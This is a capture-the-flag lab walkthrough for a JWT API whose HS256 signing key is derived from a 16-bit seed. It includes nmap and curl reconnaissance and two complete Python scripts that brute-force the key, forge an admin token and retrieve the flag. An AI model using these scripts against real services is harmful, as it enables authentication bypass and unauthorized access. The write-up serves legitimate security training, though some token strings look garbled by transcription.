

[illegible]

Name	Vulnerable Key Generator
URL	<a href="https://attackdefense.com/challengedetails?cid=1469">https://attackdefense.com/challengedetails?cid=1469</a>
Type	REST: JWT Expert

**Important Note:** This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

**Step 1:** Check the IP address of the machine.

**Command:** ifconfig

```
root@attackdefense:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.1.1.6 netmask 255.255.255.0 broadcast 10.1.1.255
    ether 02:42:0a:01:01:06 txqueuelen 0 (Ethernet)
    RX packets 932 bytes 129877 (126.8 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 951 bytes 2795740 (2.6 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.37.218.2 netmask 255.255.255.0 broadcast 192.37.218.255
    ether 02:42:c0:25:da:02 txqueuelen 0 (Ethernet)
    RX packets 23 bytes 1774 (1.7 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    loop txqueuelen 1000 (Local Loopback)
    RX packets 1567 bytes 2304483 (2.1 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 1567 bytes 2304483 (2.1 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@attackdefense:~#
```

The IP address of the machine is 192.37.218.2.

**Step 2:** Use nmap to discover the services running on the target machine.

**Command:** nmap -sS -sV -p- 192.37.218.3

```
root@attackdefense:~# nmap -sS -sV -p- 192.37.218.3
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-02 16:32 IST
Nmap scan report for target-1 (192.37.218.3)
Host is up (0.000014s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
8080/tcp   open  http    Werkzeug httpd 0.16.0 (Python 2.7.15+)
MAC Address: 02:42:C0:25:DA:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.30 seconds
root@attackdefense:~#
```

The target machine is running an Apache server on port 80 and a Python-based HTTP server on port 8080.

**Step 3:** Checking the presence of the REST API.

Interacting with the Python-based service to reveal more information about it.

**Command:** curl 192.37.218.3:8080

```
root@attackdefense:~#
root@attackdefense:~# curl 192.37.218.3:8080

== Welcome to the Finance API ==

Endpoint | Description | Method | Parameter(s)
-----|-----|-----|-----
/issue | Issues a JWT token for the user corresponding to the supplied username. | GET | username, password
/goldenticket | Get your golden ticket (for admin only!). | POST | token
/help | Show the endpoints info. | GET |

root@attackdefense:~#
```

The response from port 8080 of the target machine reveals that the Token API is available on this port.

**Note:** The /goldenticket endpoint would give the golden ticket only if the token is of admin user.





## Encoded

PASTE A TOKEN HERE

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJ3aXRyYXAuY29tIiwiaWVWRtaW4iOiJmYWxzZSI6Im5hbWUiOiJlbGxpb3QiLCJleHAiOiE1NzUyMjcwMDcsIm1hdCI6MTU3NTE0MDYwN30ulqIMvtmFYzFVtMTWAbCsNItnWhX9zsrsKRMXgWRZJg
```

## Decoded

EDIT THE PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE

```
{
  "alg": "HS256",
  "typ": "JWT"
}
```

PAYLOAD: DATA

```
{
  "iss": "witrapp.com",
  "admin": "false",
  "name": "elliott",
  "exp": 1575227007,
  "iat": 1575140607
}
```

### Note:

1. The algorithm used for signing the token is "HS256".
2. The token payload contains an issuer claim which contains the name of the authority that issued this token.
3. The admin claim in the payload is set to "false".

### Info:

1. The "iss" (issuer) claim identifies the principal that issued the JWT. The processing of this claim is generally application specific.

Submitting the above issued token to the API to get the Golden Ticket:

### Command:

```
curl -X POST -H "Content-Type: application/json" -X POST -d '{"token":
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJ3aXRyYXAuY29tIiwiaWVWRtaW4iOiJmYWxzZSI6Im5hbWUiOiJlbGxpb3QiLCJleHAiOiE1NzUyMjcwMDcsIm1hdCI6MTU3NTE0MDYwN30ulqIMvtmFYzFVtMTWAbCsNItnWhX9zsrsKRMXgWRZJg"}'
http://192.37.218.3:8080/goldenticket
```

```
root@attackdefense:~#  
root@attackdefense:~# curl -X POST -H "Content-Type: application/json" -X POST -d '{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJ3aXRyYXAuY29tIiwiaWVhbnRtaW4iOiJmYWxzZSIsIm5hbWUiOiJlbGxpb3QpLCJleHAiOiJlNzUyMjcwMDcsImhhdCI6MTU3NTE0MDYwN30ulqIMvtmFYzFVtMTWAbCsNItnWhX9zsrsKRMXgWRZJg"}' http://192.37.218.3:8080/goldenticket  
  
No Golden Ticket for you. It is only for admin!  
  
root@attackdefense:~#
```

The server doesn't return the golden ticket. It responds by saying that the ticket is only for the admin user.

**Step 5:** Checking the JWT Token Library Documentation.

Open the documentation in firefox:

**Documentation URL:** <http://192.37.218.3>



Check out the Signing Key Specification page:



## JWT Token

### Library

#### Navigation

Contents:

[Introduction](#)

[Signing Key](#)

[Specification](#)

- [Key Specification](#)

- [Key Generation](#)

- [Routine](#)

[Security Vulnerabilities](#)

#### Quick search

 

## Signing Key Specification

This wiki is primarily ment to be used by developers. It contains the specification for the (symmetric) signing key used for token creation.

The signing key is treated more like a session key.

As soon as a new token is issued by a user, all the previous signing keys (related to this user) are invalidated for security reasons and thus all the previously issued tokens become invalid as well.

But when any other request is made, the signing key stays the same.

## Key Specification

The signing key must be:

- Must be numeric (each character must be in the range [0-9] inclusive).
- Must have a fixed-size of 40 bytes.
- Generated using a seed value.
- The seed must be a 16-bit integer, ranging from 0 to 65535.

## Key Generation Routine

```
import random

def generateKey(seedValue):

    random.seed(seedValue)

    key = ""

    for i in range (40):
        key += str(random.randint(0, 9))

    return key
```

The above routine must be used to generate the signing keys for symmetric signing algorithms such as:

- HS256
- HS384
- HS512

As mentioned the library documentation, a new secret key is generated for every issued token, thus making all the previous generated keys and thus the issued tokens as invalid.

It is also mentioned that the signing key is generated as follows:

#### **Code Snippet:**

```
import random

def generateKey(seedValue):

    random.seed(seedValue)

    key = ""

    for i in range(40):
        key += str(random.randint(0, 9))

    return key
```

It is also mentioned that the seed value must be a 16-bit integer, ranging from 0 to 65535.

Therefore, in order to guess the correct signing key, there are only 65536 possible seed values.

**Step 6:** Leveraging the above mentioned information to figure out the correct signing key and the Golden Flag.

**Alternative 1:** Use the following Python code to find out the correct signing key and the Golden Ticket:

#### **Python Script:**

```
import json
import jwt
import random
import requests

baseUrl = "http://192.37.218.3:8080"
MAX_SIZE = 65536

def issueToken():
    params = { "username": "elliott", "password": "elliotalderson" }
    r = requests.get(baseUrl + "/issue", params = params)
    return r.text.split("\n")[2]
```



```

def getGoldenTicket(token):
    data = { "token": token }
    headers = { "Content-Type": "application/json" }
    r = requests.post(baseUrl + "/goldenticket", data = json.dumps(data), headers = headers)
    #print r.text
    return r.text.split(":")[1].replace("\n", "").strip()

def decode(token, key):
    try:
        data = jwt.decode(token, key)
    except:
        return False
    return data

def generateSecretKey(seed):
    secretKey = ""
    random.seed(seed)
    for i in range (40):
        secretKey += str(random.randint(0, 9))
    return secretKey

def findValidSecretKey(baseToken):
    res = None
    secretKey = None
    for seed in range (MAX_SIZE):
        secretKey = generateSecretKey(seed)
        res = decode(baseToken, secretKey)
        if res != False:
            break
    return secretKey, res

def createForgedToken(data, secretKey):
    data["admin"] = "true"
    return jwt.encode(data, secretKey)

# Starting with a base token
baseToken = issueToken()

# Decoded token.
secretKey, data = findValidSecretKey(baseToken)

print "Secret Key: %s" % (secretKey)

```

```
forgedToken = createForgedToken(data, secretKey)
goldenTicket = getGoldenTicket(forgedToken)
```

```
print "Golden Ticket: %s" % (goldenTicket)
```

Save the above script as getGoldenTicket.py

### Code Walkthrough:

The above script does the following operations:

1. Issues a JWT Token.
2. Generates the signing keys using different possible seed values and tries to decode the token received in the above step.
3. If the key fails to decode the token, the next key is generated using a different seed value.
4. Once the correct signing key is retrieved, the script modifies the token and sets the admin field in the payload to "true" and sends this modified token to retrieve the Golden Ticket.

**Command:** cat getGoldenTicket.py

```
root@attackdefense:~# cat getGoldenTicket.py
import json
import jwt
import random
import requests

baseUrl = "http://192.37.218.3:8080"
MAX_SIZE = 65536

def issueToken():
    params = { "username": "elliott", "password": "elliotalderson" }
    r = requests.get(baseUrl + "/issue", params = params)
    return r.text.split("\n")[2]

def getGoldenTicket(token):
    data = { "token": token }
    headers = { "Content-Type": "application/json" }
    r = requests.post(baseUrl + "/goldenticket", data = json.dumps(data), headers = headers)
    #print r.text
    return r.text.split(":")[1].replace("\n", "").strip()

def decode(token, key):
```

```

try:
    data = jwt.decode(token, key)
    return data
except:
    return False

def generateSecretKey(seed):
    secretKey = ""
    random.seed(seed)
    for i in range (40):
        secretKey += str(random.randint(0, 9))
    return secretKey

def findValidSecretKey(baseToken):
    res = None
    secretKey = None
    for seed in range (MAX_SIZE):
        secretKey = generateSecretKey(seed)
        res = decode(baseToken, secretKey)
        if res != False:
            break
    return secretKey, res

```

```

def createForgedToken(data, secretKey):
    data["admin"] = "true"
    return jwt.encode(data, secretKey)

# Starting with a base token
baseToken = issueToken()

# Decoded token.
secretKey, data = findValidSecretKey(baseToken)

print "Secret Key: %s" % (secretKey)

forgedToken = createForgedToken(data, secretKey)
goldenTicket = getGoldenTicket(forgedToken)

print "Golden Ticket: %s" % (goldenTicket)
root@attackdefense:~#

```

**Note:** The above script makes only 2 requests to the API, one to issue a JWT Token and the other request to retrieve the Golden Ticket. Therefore, it is passive in nature.

Run the above Python script and retrieve the Golden Ticket:

**Command:** python getGoldenTicket.py

```
root@attackdefense:~# python getGoldenTicket.py
Secret Key: 3057123792198250041243146151087021514898
Golden Ticket: This_Is_The_Golden_Ticket_0336514d9877863624d63
root@attackdefense:~#
```

**Golden Ticket:** This\_Is\_The\_Golden\_Ticket\_0336514d9877863624d63

**Alternative 2:** Use the following Python code to find out the correct signing key and the Golden Ticket:

### Python Script:

```
import json
import jwt
import random
import requests

baseUrl = "http://192.37.218.3:8080"
MAX_SIZE = 65536

def issueToken():
    params = { "username": "elliott", "password": "elliotalderson" }
    r = requests.get(baseUrl + "/issue", params = params)
    return r.text.split("\n")[2]

def getGoldenTicket(token):
    data = { "token": token }
    headers = { "Content-Type": "application/json" }
    r = requests.post(baseUrl + "/goldenticket", data = json.dumps(data), headers = headers)
    #print r.text
    return r.text.split(":")[1].replace("\n", "").strip()

def decode(token, key):
```



```
try:
    data = jwt.decode(token, key)
    return data
except:
    return False
```

```
def findValidToken(secretKey):
    data = None
    # Request Counter
    reqCount = 0
    while reqCount < MAX_SIZE:
        token = issueToken()
        data = decode(token, secretKey)
        if data != False:
            # Decoded successfully!
            break
        reqCount += 1

    # The chosen secret key had correctly decoded the newly issued token.
    # This means that .
    return data
```

```
def generateSecretKey(seed):
    secretKey = ""
    random.seed(seed)
    for i in range(40):
        secretKey += str(random.randint(0, 9))
    return secretKey
```

```
def createForgedToken(data, secretKey):
    data["admin"] = "true"
    return jwt.encode(data, secretKey)
```

```
# Create a secret key with seed = 0
secretKey = generateSecretKey(0)
```

```
# Decoded token.
data = findValidToken(secretKey)
```

```
print "Secret Key: %s" % (secretKey)
```

```
forgedToken = createForgedToken(data, secretKey)
goldenTicket = getGoldenTicket(forgedToken)
```

```
print "Golden Ticket: %s" % (goldenTicket)
```

Save the above script as getGoldenTicket2.py

### Code Walkthrough:

The above script does the following operations:

1. Creates a signing key using 0 as the seed value.
2. Repeatedly issues a JWT Token and tries to decode it using the signing key generated in Step 1.
3. If the key fails to decode the token, a new token is issued.
4. Once the token retrieved is decoded using the signing key generated in Step 1, the script modifies the token and sets the admin field in the payload to "true" and sends this modified token to retrieve the Golden Ticket.

**Command:** cat getGoldenTicket2.py

```
root@attackdefense:~# cat getGoldenTicket2.py
import json
import jwt
import random
import requests

baseUrl = "http://192.37.218.3:8080"
MAX_SIZE = 65536

def issueToken():
    params = { "username": "elliott", "password": "elliotalderson" }
    r = requests.get(baseUrl + "/issue", params = params)
    return r.text.split("\n")[2]

def getGoldenTicket(token):
    data = { "token": token }
    headers = { "Content-Type": "application/json" }
    r = requests.post(baseUrl + "/goldenticket", data = json.dumps(data), headers = headers)
    #print r.text
    return r.text.split(":")[1].replace("\n", "").strip()

def decode(token, key):
    try:
        data = jwt.decode(token, key)
        return data
    except:
        return False
```

```

def findValidToken(secretKey):
    data = None
    # Request Counter
    reqCount = 0
    while reqCount < MAX_SIZE:
        token = issueToken()
        data = decode(token, secretKey)
        if data != False:
            # Decoded successfully!
            break
        reqCount += 1

    # The chosen secret key had correctly decoded the newly issued token.
    # This means that .
    return data

def generateSecretKey(seed):
    secretKey = ""
    random.seed(seed)
    for i in range(40):
        secretKey += str(random.randint(0, 9))
    return secretKey

def createForgedToken(data, secretKey):
    data["admin"] = "true"
    return jwt.encode(data, secretKey)

```

```

# Create a secret key with seed = 0
secretKey = generateSecretKey(0)

# Decoded token.
data = findValidToken(secretKey)

print "Secret Key: %s" % (secretKey)

forgedToken = createForgedToken(data, secretKey)
goldenTicket = getGoldenTicket(forgedToken)

print "Golden Ticket: %s" % (goldenTicket)
root@attackdefense:~#

```

**Note:** In worst case scenario, the above script makes 65536 requests to the API, 65535 requests to issue the JWT Tokens (in case they server used seed value 1 to issue the first token issued by the attacker) and one request to retrieve the Golden Ticket. Therefore, it is very noisy.

Also, this script takes a lot more time than the previous script.

Run the above Python script and retrieve the Golden Ticket:

**Command:** python getGoldenTicket2.py

```
root@attackdefense:~#  
root@attackdefense:~# python getGoldenTicket2.py  
Secret Key: 8742547345952762998937864146994828507386  
Golden Ticket: This_Is_The_Golden_Ticket_0336514d9877863624d63  
root@attackdefense:~#
```

**Golden Ticket:** This\_Is\_The\_Golden\_Ticket\_0336514d9877863624d63

#### References:

1. JWT debugger (<https://jwt.io/#debugger-io>)
2. JSON Web Token RFC (<https://tools.ietf.org/html/rfc7519>)